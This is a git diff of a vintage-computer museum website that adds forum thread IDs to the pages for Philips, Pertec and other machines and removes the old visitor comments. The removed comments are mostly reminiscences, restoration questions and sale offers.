managed! Now my 15 year old is fascinated by all this old stuff. Ny 22 and 25 year old could care less....' - - author: Ed P (Cleveland, OH) - date: Thursday 12th January 2006 - text: Bought mine in 1984 when I was living in NJ. Upgraded it to 512K and a 10mb hard drive, mouse, external color monitor. Had lots of software, including something called "Fontrix" that generated all kinds of cool fonts via graphics. Used that to print out large banners on the thermal printer. Learned basic on the SrPtr and actually generated some animation! Sorry to say that I sold it in 1988 or 89 when I upgraded to a Hyundai PC. Wish I still had it for the memories! - - author: Pam Alt (WV, USA) - date: Thursday 5th January 2006 - text: I have one of these which was used in a classroom in an elementary school. It was being thrown away by the school, so my family adopted it. My children, now ages 20 and 17, had used it in their 3rd grade classroom for games such as hangman. It had also played many other DOS learning programs. The one which I have does not have a mounted hard drive. Could anyone here let me know how to get the DOS on a 5.25" floppy drive or any programs so that it could be now displayed in the school museum? - Pam (pamalt@direcway.com) - - author: JP (Germany) - date: Tuesday 23rd August 2005 - text: At the moment, there is one for sale at ebay.com - Item number 5233962148 - - author: Ken Mc. (Woodstock, GA) - date: Tuesday 12th July 2005 - text: |- - I still have mine, and it still works like a champ! This thing made me "bad geek on campus" for about a year in '84. I was able to use Turbo Pascal v2.0 on it to do my class work - I would have never survived simulation and statistics class without it. - - I pull it out of the closet every now and then and play Zaxon on it, etc. I had quite an inventory of software, which I should probably archive off to CD before the old 5.25" floppies degrade completely. - - author: John Fink (USA) - date: Thursday 21st April 2005 - text: At one time our company owned two Sr. Partners. We regularly plugged them into 15 amp circuits which has other devices plugged in as well. The Sr. Partner may have been heavy but they didn't draw any more power than an an IBM PC with monitor and printer. - - author: Philippe Gouin (Québec, Canada) - date: Wednesday 3rd September 2003 - text: |- - \> I still have it, and promise to keep it forever. It is like an old friend to me, as I\ - \> learned DOS, and BASIC on it. One of the greatest machines of its time.\ - I feel the same with mine :) I can't help myself, I keep starting it every once in a while :) The sound it makes, the green screen, the feel of the keyboard... It's such a big part of my life, I just can't throw the thing away... - - author: Oliver W. Leibenguth (Germany) - date: Wednesday 23rd October 2002 - text: |- - I got on of these about 2 years ago (mint in unopened box!). It worked great until last week, when it started to garble the screen output :-(\ - It still tries to print text on the screen but you can't read it.... Does anybody know where to start looking for the fault? - - THX,\ - Oliver - - author: Jim Gall (Belle Mead, New Jersey) - date: Thursday 26th September 2002 - text: This was the first computer that I ever worked with. My mom bought it two years after it was released in '83. I was born in '86, so I got used to using the system for... 10 years. I still have it, and promise to keep it forever. It is like an old friend to me, as I learned DOS, and BASIC on it. One of the greatest machines of its time. Let alone the built in printer (of which no longer works in my unit). oc_id: 498 source: url: https://web.archive.org/web/20230604040220/http://www.old-computers.com/museum/computer.asp?c=498 diff --git a/content/museum/peerless-150.md b/content/museum/peerless-150.md index edc31558..edbeff8f 100644 --- a/content/museum/peerless-150.md +++ b/content/museum/peerless-150.md @@ -56,6 +56,7 @@ params: value: $20.000 to $30.000 tabs: - adverts + forum_thread: 939 adverts: - title: 'ADVERT #1' subtitle: '' @@ -65,10 +66,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/peerless_pub_1.jpg - comments: - - author: linkman (Slovak republic) - date: Thursday 21st April 2005 - text: Once i see this computer in one of ours antiques :) oc_id: 963 source: url: https://web.archive.org/web/20230606200702/http://www.old-computers.com/museum/computer.asp?c=963 diff --git a/content/museum/pel-varazdin-galeb.md b/content/museum/pel-varazdin-galeb.md index 106af7f8..72da842a 100644 --- a/content/museum/pel-varazdin-galeb.md +++ b/content/museum/pel-varazdin-galeb.md @@ -61,6 +61,7 @@ params: tabs: - photos - emulators + forum_thread: 1021 photos: - title: VELEBIT GALEB subtitle: '' diff --git a/content/museum/pel-varazdin-orao.md b/content/museum/pel-varazdin-orao.md index b8475419..63367a8b 100644 --- a/content/museum/pel-varazdin-orao.md +++ b/content/museum/pel-varazdin-orao.md @@ -63,6 +63,7 @@ params: - adverts - emulators - docs + forum_thread: 955 photos: - title: FRONT subtitle: '' @@ -113,84 +114,6 @@ params:  compiled/archived by PONGRAÈIÆ IVAN — ZEBEC BRANKO\  type of document : PDF\  source : www.old-computers.com - comments: - - author: t0mih - date: Sunday 2nd February 2020 - text: |- - Emulator: - - https://k77v25r35.ucoz.net/index/orao_emulator_corao/0-16 - - author: Nenad Resnik (Croatia) - date: Friday 12th September 2014 - text: |- - re rgh (Austria)\ - Both “Orao“ and “Galeb“were concieved and produced in Varazdin, Croatia and it had no connection to any other part of our ex-country, so, it a Croatian legacy. - - author: Nenad Resnik (Croatia) - date: Friday 12th September 2014 - text: |- - re rgh (Austria)\ - Both “Orao“ and “Galeb“were concieved and produced in Varazdin, Croatia and it had no connection to any other part of our ex-country, so, it a Croatian legacy. - - author: Nenad Resnik (Croatia) - date: Friday 12th September 2014 - text: |- - re rgh (Austria)\ - Both “Orao“ and “Galeb“were concieved and produced in Varazdin, Croatia and it had no connection to any other part of our ex-country, so, it a Croatian legacy. - - author: Nenad Resnik (Croatia) - date: Friday 12th September 2014 - text: |- - re rgh (Austria)\ - Both “Orao“ and “Galeb“were concieved and produced in Varazdin, Croatia and it had no connection to any other part of our ex-country, so, it a Croatian legacy. - - author: Nenad Resnik (Croatia) - date: Friday 12th September 2014 - text: |- - re rgh (Austria)\ - Both “Orao“ and “Galeb“were concieved and produced in Varazdin, Croatia and it had no connection to any other part of our ex-country, so, it a Croatian legacy. - - author: Nenad Resnik (Croatia) - date: Friday 12th September 2014 - text: |- - re rgh (Austria)\ - Both “Orao“ and “Galeb“were concieved and produced in Varazdin, Croatia and it had no connection to any other part of our ex-country, so, it a Croatian legacy. - - author: Nenad Resnik (Croatia) - date: Friday 12th September 2014 - text: |- - re rgh (Austria)\ - Both “Orao“ and “Galeb“were concieved and produced in Varazdin, Croatia and it had no connection to any other part of our ex-country, so, it a Croatian legacy. - - author: Nenad Resnik (Croatia) - date: Friday 12th September 2014 - text: |- - re rgh (Austria)\ - Both “Orao“ and “Galeb“were concieved and produced in Varazdin, Croatia and it had no connection to any other part of our ex-country, so, it a Croatian legacy. - - author: Nenad Resnik (Croatia) - date: Friday 12th September 2014 - text: |- - re rgh (Austria)\ - Both “Orao“ and “Galeb“were concieved and produced in Varazdin, Croatia and it had no connection to any other part of our ex-country, so, it a Croatian legacy. - - author: Nenad Resnik (Croatia) - date: Friday 12th September 2014 - text: |- - re rgh (Austria)\ - Both “Orao“ and “Galeb“were concieved and produced in Varazdin, Croatia and it had no connection to any other part of our ex-country, so, it a Croatian legacy. - - author: rgh (Austria) - date: Saturday 5th October 2013 - text: Actually saying that its origin is Croatia is historically wrong, it has to be Yugoslavia. - - author: BigEd (United Kingdom) - date: Monday 11th March 2013 - text: 'Here are the games: http://web.archive.org/web/20071006093814/http://www.foing.hr/\~fng_josip/files/oraoigre.zip' - - author: Radoslav (Zagreb) - date: Monday 5th February 2007 - text: 'We have found a tape! Josip was so kind to make a .tap archive and it is available on his homepage: there are blatant ex-yu ripoffs of Manic Miner, Jumping Jack, Space Invaders, and some more games... :)' - - author: CrSh (Varazdin, Croatia) - date: Wednesday 25th October 2006 - text: Josip Perušanec also made a perfect, first in a world ORAO emulator http://www.foing.hr/\~fng_josip/files/oraoemu.zip - - author: Radoslav (Zagreb) - date: Monday 4th September 2006 - text: If you happen to have any tape with software for Orao, please contact Josip Perušanec (google for his e-mail - spam reasons) to have it digitized and saved from oblivion... - - author: Daniel Rakijašić (Croatia) - date: Tuesday 14th March 2006 - text: I'm sure that company that made Orao PC was PEL, from Varazdin city, Croatia - - author: Goran Premec (Zagreb, Croatia) - date: Sunday 7th August 2005 - text: As I remember Orao was made by PEL, not Velebit oc_id: 981 source: url: https://web.archive.org/web/20230608091752/http://www.old-computers.com/museum/computer.asp?c=981 diff --git a/content/museum/pertec-pcc-2000.md b/content/museum/pertec-pcc-2000.md index dbca03f0..d660ac91 100644 --- a/content/museum/pertec-pcc-2000.md +++ b/content/museum/pertec-pcc-2000.md @@ -67,6 +67,7 @@ params: tabs: - adverts - links + forum_thread: 1265 adverts: - title: PROMOTIONAL PICTURE subtitle: '' @@ -76,35 +77,6 @@ params: - title: datareign.co.uk url: http://datareign.co.uk/doku.php?id=1978_pertec_pcc-2000 text: detailed info about the PCC 2000 - comments: - - author: Daryl (South Africa) - date: Tuesday 24th December 2019 - text: Why does the PC2000 have two floppy disk drives instead of 1? - - author: Gashi (Germany) - date: Wednesday 2nd August 2017 - text: wie viel kostet heute so eine PCC 2000 zu kaufen würde mich interessieren - - author: Guru - date: Thursday 7th May 2015 - text: |- - @Jaco Engelbrecht, is your grandma still alive? i mean, should i congratulate you on inheriting it already ? :)\ - BTW, wanna sell it out? - - author: Jaco Engelbrecht (South Africa) - date: Saturday 12th July 2014 - text: |- - My grandma has a PCC 2000, Though it''s labelled as a Philips P3000. It definitely is a PCC 2000 though. But, this being South-Africa, we had sanctions and stuff, and companies would do things like this to get around it. I checked the forum and it looks pretty much dead... Actually wanted to ask about the P3000 on it, until I found this - - I''ll inherit it one day. Right now, it''s in her garage roof. Just got a chance to see it, and took a few pics. Sadly, due to the weight, I never got the opportunity to boot her up. Will possibly only be there again in December, 5 months away... - - It should still work. No physical damage. Can''t wait to try boot it up... - - author: Dan E. (NV / USA) - date: Saturday 26th May 2012 - text: I was a Pertec dealer in the late 70''s when it was introduced, programming and installing small business applications. I never sold a CP/M version. My interest was the MTX operating system, which was a very small multi-user system with Business BASIC. It support 5-users in only 64K memory, where 4-users were dumb terminals. The language was a clone of the very popular mini-computer OS from MAI Basic Four sold during the 60''s and 70''s. The 10MB disk drive was the size of a washing machine, with 5MB fixed and 5MB removable platter. I installed several of these, but most clients did not require more than the two diskette drives built into the unit. It was five years before the IBM PC was introduced, which I also sold through my Computerland store, but the Pertec was a much more advanced computer because of the MTX OS and Business BASIC. - - author: Tarun Tyagi - date: Friday 26th August 2011 - text: can you imagine... this small step towards Personal computing took US$6.5 million per PC - - author: Alexander Picoli (Brazil) - date: Thursday 3rd February 2011 - text: In the December 1978 issue of Computer Magazine there is info about the speed of the processor is 3 MHz... oc_id: 1300 source: url: https://web.archive.org/web/20230205002057/http://www.old-computers.com/museum/computer.asp?c=1300 diff --git a/content/museum/philips-cd-i-210.md b/content/museum/philips-cd-i-210.md index c3ae459d..588d4174 100644 --- a/content/museum/philips-cd-i-210.md +++ b/content/museum/philips-cd-i-210.md @@ -15,6 +15,7 @@ params: - software - emulators - links + forum_thread: 980 photos: - title: PHILIPS CDI-210 subtitle: '' @@ -177,25 +178,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: CD-i news group can be used for all your CD-i inquiries, including CD-i players, compatibility, PC access of CD-i discs (including driver software and versions), authoring, availability of software and spare parts. - comments: - - author: Wolverine Bates - date: Thursday 23rd October 2014 - text: |- - I won''t argue that the games were complete and utter crap (they were), having been there myself. However I will say the CD-i platform was utter nirvana if you worked for a company that subscribed to Muzak or AEI Music on disc and you were an easy-listening junkie, as home CD-i was descended from a platform (CD-BGM) meant for just that. And it remained 100$ compatible with it. Usually 37800 Hz ADPCM (type "B") audio, mono or stereo. That was an advantage (although a very minor one) it had over the other CD-based video game platforms of the day. - - Don''t forget, the original Playstation used a disk format that was essentially CD-i with an ISO9660 TOC. - - author: Jeice1990 - date: Wednesday 29th December 2010 - text: 'Dr. Raptorheimer was wrong. This system was never gonna be the CD add-on for the SNES. It was first worked on in the mid-1980s and never really intended to be a game console, until the final few years of its life span, at which point is had become utterly outdated for games (talk about bad timing!). Notable games on the system included the acclaimed "Burn: Cycle", the hilarious (intentionally or not) "Hotel Mario" and of course a version of the infamous "Dragon''''s Lair"' - - author: Jeice1990 - date: Saturday 4th December 2010 - text: I bought one from a person that works at the same place as my dad. Crazy system (with games that often seem to use still-photos and FMV as graphics), but I like it. - - author: Dr. Raptorheimer - date: Tuesday 14th September 2010 - text: Ah the retarded offspring of Nintendo''s soured relationship with Sony. The CD-i was nintendo''s Laundered attempt to try and make a Playstation-esqe system before the ill fated 64DD failed. It was to be blunt a horrid system with its only notable game being a Russian Zelda with simple platforming and horrid cut-scenes. - - author: Daz (Wigan) - date: Saturday 2nd June 2007 - text: The CDi was such a revolutaniary part of computing, but has been forgotten by many, my old 210 broke, but I had to get another, that is now working, Games such as Mad Dog, with actual DV footage, and a light gun, haven't been surpassed to date. Nintendo's "Wii" system seems to attempt the only revival of this interactive part of the system, but thus far have failed. oc_id: 1006 source: url: https://web.archive.org/web/20230604130332/http://www.old-computers.com/museum/computer.asp?c=1006 diff --git a/content/museum/philips-las-vegas-es-2208.md b/content/museum/philips-las-vegas-es-2208.md index 36d5160c..30068154 100644 --- a/content/museum/philips-las-vegas-es-2208.md +++ b/content/museum/philips-las-vegas-es-2208.md @@ -49,6 +49,7 @@ params: tabs: - photos - links + forum_thread: 722 photos: - title: UNIT subtitle: '' diff --git a/content/museum/philips-n20.md b/content/museum/philips-n20.md index 21d330f0..63b2eed2 100644 --- a/content/museum/philips-n20.md +++ b/content/museum/philips-n20.md @@ -11,6 +11,7 @@ params: - photos - software - links + forum_thread: 698 photos: - title: PANEL subtitle: '' @@ -49,15 +50,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: oldoldold (france) - date: Friday 21st January 2005 - text: |- - I have a Phillips n 20 but cannot get it to tune into my 'modern' tv - - any one have a clue - - please help i must play PONG NOW!!!!!! related: - /museum/gorenje-geti-3220 - /museum/prinztronic-videosport-600 diff --git a/content/museum/philips-nms-801.md b/content/museum/philips-nms-801.md index e99ae6df..9df79959 100644 --- a/content/museum/philips-nms-801.md +++ b/content/museum/philips-nms-801.md @@ -65,6 +65,7 @@ params: - hardware - emulators - links + forum_thread: 1054 photos: - title: LARGE VIEW subtitle: '' @@ -228,13 +229,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/philips-odyssey-2001.md b/content/museum/philips-odyssey-2001.md index 35dbec25..a1825775 100644 --- a/content/museum/philips-odyssey-2001.md +++ b/content/museum/philips-odyssey-2001.md @@ -47,6 +47,7 @@ params: tabs: - photos - software + forum_thread: 696 photos: - title: FRONT subtitle: '' @@ -73,26 +74,6 @@ params: subtitle: Tennis, Hockey & Squash text: '' image: /media/museum/software/philips_odyssey2001_ss.jpg - comments: - - author: Beetle Bailey (DK) - date: Sunday 24th November 2019 - text: |- - My Odyssey has the original supply (marked Philips) , but it is also marked as an 18,6 Vdc supply and unloaded the voltage is a wooping 32Vdc ! - - Good thing there is an internal LM342 regulator but when that pops....well..... - - author: Scott Elliott (Oregon, USA) - date: Tuesday 23rd May 2017 - text: |- - Here are a few subtle bonus features of this system, thanks to the National Semiconductor chip:\ - \- To change the paddle size, move your paddle off the playfield and press the reset button. Each player can independently choose from 3 paddle sizes.\ - \- When it is your turn to serve, the ball will be served from the location of your paddle.\ - \- To pause a match between balls, move your paddle off the screen when it is your turn to serve. The game will wait until your paddle returns to the playfield. - - author: ronnie - date: Sunday 23rd January 2011 - text: i bought one last year for 4 euros - - author: Nick - date: Tuesday 13rd July 2010 - text: How much is this odyssey 2001 worth ? oc_id: 713 source: url: https://web.archive.org/web/20230613152940/http://www.old-computers.com/museum/computer.asp?c=713 diff --git a/content/museum/philips-odyssey-2100.md b/content/museum/philips-odyssey-2100.md index 37253b3f..1d274db7 100644 --- a/content/museum/philips-odyssey-2100.md +++ b/content/museum/philips-odyssey-2100.md @@ -47,6 +47,7 @@ params: tabs: - photos - links + forum_thread: 697 photos: - title: ODYSSEY 2100 subtitle: '' diff --git a/content/museum/philips-p-330.md b/content/museum/philips-p-330.md index abf12eee..74cb709f 100644 --- a/content/museum/philips-p-330.md +++ b/content/museum/philips-p-330.md @@ -63,6 +63,7 @@ params: tabs: - photos - hardware + forum_thread: 358 photos: - title: PHILIPS P/330 WITH OPENED FDD subtitle: '' @@ -115,70 +116,6 @@ params: subtitle: '' text: The second FDD card uses its own 8080 microprocessor, also a NEC version. image: /media/museum/hardware/philips_p330_fddcard_s2.jpg - comments: - - author: Roy Van Der Lee (Netherlands) - date: Monday 8th November 2010 - text: |- - I worked by Philips in 1969 en was a programmer. In 1973 I had my own company and we made software for alle Philips office computers. The P330 was one of them. I think is was the best product of all. We made hundreds of applications for this model in the Netherlands. It has indeed a 12" screen (white characters 25 x 80) en two 8" floppy drives 1,2 MB.\ - A harddisk was optional. The programming language was Phocal. (Philips Office Computer Assembly Language).\ - The printer was a 9 pins dot matrix, 100 cps. The P330 was the last product of the Philips Office computers series. Then Philips came with the mircro computers and later the IBM compatibele PC''s.\ - In 1992 the Philips computer dream was ended. It was a good time and good products. - - author: Paul (Dutchland) - date: Thursday 8th July 2010 - text: |- - I programmed this computer and it''s brothers and sisters: P172, P173, P300 series until 1983.\ - The P330 was the last model, the simpliest version costed over 80000 HFL, ca. 40000 euro. Just before the rising of microprocessors and pc''s. - - They were mainly used for local administration, invoicing and such with an interface to central financial systems on mainframes. All bookings where written on ECMA cassettes which were sent to the central computer company.\ - Triumph had similar systems. - - P172 was programmed with Pholas, the rest with Phocal, an assembler language. Programming the P172 was a bit of a nuisance, entering codelines into the computer itself.\ - Programs for the P173 onwards could be entered and assempled on a bigger P4000 computer. - - author: AmishCake (USA) - date: Tuesday 15th July 2008 - text: I used the earlier version of this machine without a display back in the late 70s. It was the first computer I ever operated. Some called it a "billing machine" but it was a real computer because we had to call a guy in to program it when it had problems. We kept accounts on the A4 sized cards with magnetic strips. I got pretty fast at working this machine. - - author: Koen Devloo (België) - date: Friday 25th May 2018 - text: I have a rare P300 (p320) for sale, complete and in good condition, let me know if you''re interested, is sell it for 450euro. - - author: Joan Baiget Sole (Barcelona / Spain) - date: Tuesday 14th June 2016 - text: 'I''''ve programmed for 10 years P300 series since 1977 to 1986. First model was P300: without screen, without magnetic suport, just 4 K memory loaded with a pioc (small magnetic cassette), using continuus stationary and paper cards (no magnetic band). After, P320, had Magnetic cards able to store 384 bytes, each. Then came P330, with 2 disquettes of 0,5Mb each and later on 2 of 1 Mb. and finally 1 Mb. disquette and 7 Mb hard disk. Program 750 managed the devices and basic functions.' - - author: Andy Dearden (UK) - date: Wednesday 11th December 2013 - text: |- - I worked on an earlier version in 1971. It had 1k ram, built into the leg? It used A4 cards with magnetic stripes down each side called Visual Records? - - We did payroll, goods in and out and profit and loss accounts. - - author: Nuno Bonito (Portugal) - date: Wednesday 14th September 2011 - text: |- - I have a philips 308 p to restore ..\ - Does anyone have manuals?\ - I would be grateful: trovador29@hotmail.com - - author: Nuno Bonito (Portugal) - date: Wednesday 14th September 2011 - text: |- - I have a philips 308 p to restore ..\ - Does anyone have manuals?\ - I would be grateful: trovador29@hotmail.com - - author: Lucas (Spain) - date: Sunday 9th January 2011 - text: |- - this day s i''ve found a machine in ebay.es that look like this one, but is the model p354c... but 1500€ is to much money xD - - http://cgi.ebay.es/ordenador-Philips-P354-C-tarjetas-perforadas-/150543982452?pt$LH_DefaultDomain_186$hash$item230d1edf74$ht_500wt_1156 - - author: Jacek Ru$$380$yczka (Germany) - date: Friday 9th April 2010 - text: 'Apparently, the P/330 was used in a number of medium-sized businesses here in Germany, typically for accounting, costing, and warehouse administration. Here is (unfortunately, in German) a case study from 1981 about a German household stuff and hardware distributor: http://www.computerwoche.de/heftarchiv/1981/36/1187194/' - - author: Gabriel Ferrero (spain) - date: Thursday 5th February 2009 - text: today, I have discovered one philips P/308. It is like P/330. Have anyone information about this computer? I have no manuals or documentation about this computer. - - author: Erwin Baten (Belgium) - date: Thursday 28th December 2006 - text: I have a complete machine in working condition in my office with complete bookkeeping software. It is an earlier model without screen or harddisk. As it did not have a screen software has to be followed by using a guide explaining code-lights. Sofware is indeed loaded using a pioc-system(small tapes like dictaphone) 3 for each programm (intro-input-centralisation) - - author: Kevin Wiebe (Vancouver, Canada) - date: Wednesday 2nd June 2004 - text: I've got one of those in my parent's basement. It still works. I did all my highschool reports on it in the 80's. I've got all the manuals and specs, if you are interested. (I think it only has 8K RAM.) oc_id: 354 source: url: https://web.archive.org/web/20221205114316/http://www.old-computers.com/museum/computer.asp?c=354 diff --git a/content/museum/philips-p2000-t-m.md b/content/museum/philips-p2000-t-m.md index 86b7d488..c9adf4c8 100644 --- a/content/museum/philips-p2000-t-m.md +++ b/content/museum/philips-p2000-t-m.md @@ -71,6 +71,7 @@ params: tabs: - photos - adverts + forum_thread: 1016 photos: - title: LARGE VIEW subtitle: '' @@ -146,66 +147,6 @@ params: subtitle: '' text: '' image: null - comments: - - author: Jacik (Spanje) - date: Saturday 6th November 2021 - text: Has any-one a printercable for the P2000T to a parallel/centronics printer ? - - author: James (Ireland) - date: Wednesday 9th September 2020 - text: The P2000 whilst a good machine was primitive due to its teletext chip and expensive price but it did have some success in education in Holland. - - author: Richard (Belgium) - date: Friday 24th November 2017 - text: |- - 1982 My father worked as a employe at Philips and came home one day with a P2000.\ - We hade a lot of fun with it, and made my basic for computeing.\ - At that time there was a P2000 customar club at Philips Netherlands in Eindhoven.\ - We whent there and there was a proffesor, i believe his name was Klaas Koppinga, and he stated the fact that 256 kb of memory was a whole lot and good for the comming 10 or 20 years. - - author: Ziemowit (Sweden) - date: Wednesday 15th March 2017 - text: |- - Some more information about those nice machines. I had the pleasure of owning 1½ Philips P2000M and 1 Philips P2000B. (Yes, I still have them in my cellar somewhere, although I do not know if they work anymore.) - - Both variants used the same look of green monitor/double floppy unit, but even if the monitor units looked identical down to connector to the machine they were not interchangeable between the models. The diskettes were of same physical size and the diskette stations had identical looks, but the diskettes were not interchangeable either. The P2000M looked like on the images on this site, but the P2000B was a different animal: the keyboard was separate from the CPU box, and the CPU box was rectangular, same color as the P2000M brownish, but it had no mini-cassette station - only the power button, connector to keyboard, RS232 for a printer and connector for the monitor and floppy disks, if I remember correctly. Internally the P2000B machine was built around a bus of some kind... - - The P2000M could boot into Word processing (saving of documents on tape), Basic or UCSD p-system (UCSD Pascal), depending on installed cartridge. The P2000B could only boot into UCSD p-system, probably because I just had this one cartridge. Needless to say, cartridges looked identical but were not interchangeable between machines. - - I have not found any information about P2000B on the net at all. It seems like as if the machine never existed, but I have one. - - author: Matthias - date: Sunday 16th November 2014 - text: |- - What is a good selling price for one of these?\ - And what is a good buying price? - - author: Matthias (Nederland) - date: Sunday 16th November 2014 - text: |- - Voor hoeveel gaan Philips P2000T normaal gesproken?\ - Wat is een goede verkoopprijs?\ - En inkoopprijs? - - author: Laios Palingas ($$917$$$955$$$955$$$940$$$948$$$945$) - date: Thursday 18th September 2014 - text: I''m interested droop - - author: droop (the netherlands) - date: Monday 4th August 2014 - text: i have 1 P2000 T for sale - - author: Joop Klok - date: Sunday 13rd April 2014 - text: Ik heb een P2000 te koop. serienummer 94, een van de eerste dus. met de originele handleidingen en vele extra''s - - author: Jac Goudsmit - date: Sunday 5th August 2012 - text: |- - The video chip used in the P2000T computers was the same as the chip that Philips used in Teletext decoders inside TV''s. That meant that text was well readable and some character-based graphics were possible. This made the computer popular in public displays in places such as airports. But just like Teletext, switching from text to graphics was done with a special hidden character on the screen that would, itself, take up one character position, so mixing text and graphics was limited. - - The keyboard was based on the keyboards that Philips made at the time for terminals and workstations, which had a reputation of being very robust but nevertheless very comfortable to type on. - - author: AndiP - date: Sunday 15th May 2011 - text: |- - Hello,\ - I search the manuals for the P2000T to download in german or english. - - Thanks Andreas - - author: paul walker (manchester uk) - date: Sunday 29th August 2010 - text: i have one of these in my loft if you are interested in it oc_id: 1042 source: url: https://web.archive.org/web/20230604041908/http://www.old-computers.com/museum/computer.asp?c=1042 diff --git a/content/museum/philips-p2000c.md b/content/museum/philips-p2000c.md index b85e3cf2..e4ad7db6 100644 --- a/content/museum/philips-p2000c.md +++ b/content/museum/philips-p2000c.md @@ -65,6 +65,7 @@ params: tabs: - photos - adverts + forum_thread: 827 photos: - title: CLOSED subtitle: '' @@ -94,53 +95,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/philips_p2000c_uk-pub_july-1984.jpg - comments: - - author: Jim Goldenberg (USA) - date: Wednesday 12th May 2010 - text: I was recruited by Philips to Vienna in 1980 and was responsible for getting the development of the P2000C started as an engineering development with my boss Herr Firster. Product Management had us developing the P2000B businees desktop using UCSD Pascal P-Code and was very slow. Engineering did the P2000C without Product Management support, that is, an end-around development to get a successful product to market. The dual Z-80 prototype graphics really got us the managemet backing we needed. - - author: Lucian (Romania) - date: Sunday 3rd January 2021 - text: 'I am looking for a mint p2000c with the 8088 CoPower board or the CoPower board separate. Most grateful to whom can help! email: lpopescu07@gmail.com' - - author: Oreste (Austria) - date: Tuesday 16th July 2019 - text: Hi. By July 2019 there ist very Mint pc2000c in Sale in willhaben.at (Austria eBay) with loads in Disks .... - - author: Günther (Austria) - date: Sunday 23rd September 2018 - text: |- - Hi all,\ - I am collecting all kinds of vintage computers. My Philips collection includes several P2000T, one P2000M with monitor $ disk drive unit, a P2500 (P2000B) with monitor and disk drives, two P2000C and the 8250 MSX machine. All of them are working and I have some software for them. Unfortunately I am missing the original CPM disks for the P2500. It would be great if someone could share the software, e.g. in Imagedisk or Teledisk format with me. - - author: Adrian Wallaschek (Deutschland) - date: Monday 21st March 2016 - text: |- - I own two of these beauties. I studied the external monitor connector, but I have absolutely no idea, how to get this connected to any monitor neither new nor old nor a converter. - - Any clue? - - author: Ziemowit Jankowski (Sweden) - date: Monday 30th April 2012 - text: |- - Hello, - - While digging through my cellar I discovered that I probably have one complete P2000M and P2000B (aka P2500). The P2000M has both BASIC and UCSD 4.0-something cartridges to it. The P2000B was probably booted off the floppies, if I remember that right. I loved the P-system implementation on those machines, asit was quite fast - at least compared to the compatition of that time. - - author: SusanB (New York/US) - date: Thursday 22nd September 2011 - text: I worked for Philips Information Systems in NYC as a marketing support representative from 1981-1985. I still have the MS-DOS version, OEM''d by Compaq that I bought, in about 1983, at a discount when it was being discontinued. That thing is heavy! I remember upgrading it to the full 512K RAM. It has been in storage for a long time. The keyboard was lost many years ago, but I still have the boot disks! - - author: Ian Gregson (UK) - date: Sunday 3rd April 2011 - text: |- - Hi\ - I have a Philips P2000C, It is fully working.\ - I have many disks\ - BUT no boot disk.\ - Can any one please supply me with one.\ - I would love to get this old beauty working\ - iain.gregson@gmail.com - - Hope you can help - - author: M. Jansen (Netherlands) - date: Thursday 24th February 2011 - text: |- - I also still own a p2000c, which is also still working today. First it was gonna thrown away, it was outside,for 2 days covered in plastic, in the rain. I couldnt resist to take it back in. a day later i turned it on, and it started up right away.. Very strong computer, and im showing it to the " younger " generation sometimes.\ - About the sound, it does have a tiny build-in speaker, but it doesnt go further then just saying " beep " . oc_id: 846 source: url: https://web.archive.org/web/20230529174924/http://www.old-computers.com/museum/computer.asp?c=846 diff --git a/content/museum/philips-p3000.md b/content/museum/philips-p3000.md index 2f665280..035f44b9 100644 --- a/content/museum/philips-p3000.md +++ b/content/museum/philips-p3000.md @@ -62,6 +62,7 @@ params: value: Unknown tabs: - photos + forum_thread: 884 photos: - title: LARGER SYSTEM subtitle: '' @@ -71,37 +72,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/philips_p3000_keyboard_1.jpg - comments: - - author: William Ramwell (Johannesburg, South Africa) - date: Thursday 20th January 2011 - text: I worked for Philips in South Africa in about 1984 in a PR capacity and was one of the lucky ones (I guess now) to get a Philips word processor in my office. Unlike the pictures I''ve seen, this was built into a full steel, curved desk. What I recall was it had a dual 8" floppy system (although my memory must play me wrong in thinking it was 10"). But what stands out is the sheer bulk of the whole desk and system. You''d have needed piano movers to get it around. I''d love to know more about these. It would have been pretty old by then because within a year I''d bought my first AT PC. - - author: Kostas Kritsilas (Calgary, Canada) - date: Tuesday 3rd April 2012 - text: |- - The Swift was based on the case/mechanics of a system orignally made for the Swedish or Swiss (forget wihich, its been a while) Teletex system. Front bezel and base were the same, otherwise, the systems were completely different. The Swedish/Swiss system was Z8000 based, and very powerful. The Swift was basically a repackaging of the older Z80 P5000/pedestal type system. I remember that the memory was eventually increased to 256K, the floppy drives were 5 1/4" vs. the 8" of the older system, and there was a hard drive option. Ran faster than the older system, CPU ran at 4 Mhz vs. 1 Mhz of the older system. Printer was a laser or a TEC daisy wheel running on RS232. The very special Qume prnter was usable using some sort of converstion box, but not many of those were ever seen in the factory. - - Kostas - - author: Rudi Blom (Netherlands) - date: Thursday 7th January 2010 - text: The P3000 was sold outside America as P5020. I worked in a support group in Philips, Apeldoorn, Netherlands. In the ''80s we generated localized versions of the various word-processing packages (including things like sort/merge), all on 5-1/4" diskettes. At that time you could buy a decent car for the price of such a machine. The introduction of the PC caused it''s demise. - - author: Donald Woo (Canada) - date: Wednesday 28th November 2018 - text: Worked with the founder (Steve Dorsey) in Montreal assembling Micom 2000 in 1978 (or 1979 ?) and transfer to Ottawa servicing Micom 2000 to P3000 and The Swift was a portable unit (like a laptop). Yes, we had Qume Printer, Tec Printer, Diablo printer and a laser printer. We also had OCR and 1200B communication modem talking to the outside world plus connected two (2) Micom together with a null modem cable. P5020 was a European version of the P3000 of the North American version, it brings back lots of old memory. - - author: Philipp Maier (Germany) - date: Saturday 31st January 2015 - text: |- - Hi Folks. I have a P5020, I could find out that P5020 and P3000 are the same machines. I have my system for about 10 Years, but I do not have a bootdisk and I could not find any image on the Net so far. - - I have equipment to process Teledisk images, it would be awesome if someone could help me out with a bootdisk image, but I would also be fine sending Floppydisks around the world $-) - - Here is a Photo of my P5020 (P3000):\ - http://diskettenschlitz.de/?page$diskettenschlitz.content.museum.p5020 - - regards.\ - Philipp - - 